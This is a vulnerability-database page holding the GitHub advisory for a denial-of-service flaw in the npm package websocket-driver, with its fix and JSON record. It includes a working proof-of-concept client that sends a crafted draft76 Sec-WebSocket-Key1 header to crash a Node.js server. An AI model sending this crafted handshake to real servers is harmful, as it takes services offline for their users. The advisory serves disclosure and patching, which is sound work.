GHSA-C4GV-FWW2-JP3R
Vulnerability from github – Published: 2026-12-01 18:23 – Updated: 2026-12-01 18:23Summary
An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. The draft76 version's handshake involves the client sending two headers named Sec-WebSocket-Key1 and Sec-WebSocket-Key2. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.
If the values are larger than 32 bits, this triggers an exception in Node's Buffer module and this causes the process to crash.
To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed Sec-WebSocket-Key1 header:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'Sec-WebSocket-Key1: 858 993 4592',
'Sec-WebSocket-Key2: 1 1',
'',
'12345678'
].join('\r\n'))
})
This will cause the server to crash on Node.js v22 and below.
Impact
An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 Sec-WebSocket-Key1 header whose derived value exceeds 32 bits in size.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "websocket-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140003"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T18:23:50Z",
"nvd_published_at": "2026-11-30T22:17:29Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version\u0027s handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node\u0027s `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require(\u0027net\u0027)\nconst ws = require(\u0027websocket-driver\u0027)\n\nlet server = net.createServer((conn) =\u003e {\n let driver = ws.server()\n\n driver.on(\u0027connect\u0027, () =\u003e {\n if (ws.isWebSocket(driver)) driver.start()\n })\n\n driver.on(\u0027close\u0027, () =\u003e conn.end())\n conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require(\u0027net\u0027)\n\nlet tcp = net.connect(8000, \u0027127.0.0.1\u0027)\n\ntcp.on(\u0027connect\u0027, () =\u003e {\n tcp.write([\n \u0027GET / HTTP/1.1\u0027,\n \u0027Host: 127.0.0.1:8000\u0027,\n \u0027Connection: upgrade\u0027,\n \u0027Upgrade: websocket\u0027,\n \u0027Sec-WebSocket-Key1: 858 993 4592\u0027,\n \u0027Sec-WebSocket-Key2: 1 1\u0027,\n \u0027\u0027,\n \u002712345678\u0027\n ].join(\u0027\\r\\n\u0027))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.",
"id": "GHSA-c4gv-fww2-jp3r",
"modified": "2026-12-01T18:23:50Z",
"published": "2026-12-01T18:23:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140003"
},
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214"
},
{
"type": "PACKAGE",
"url": "https://github.com/faye/websocket-driver-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.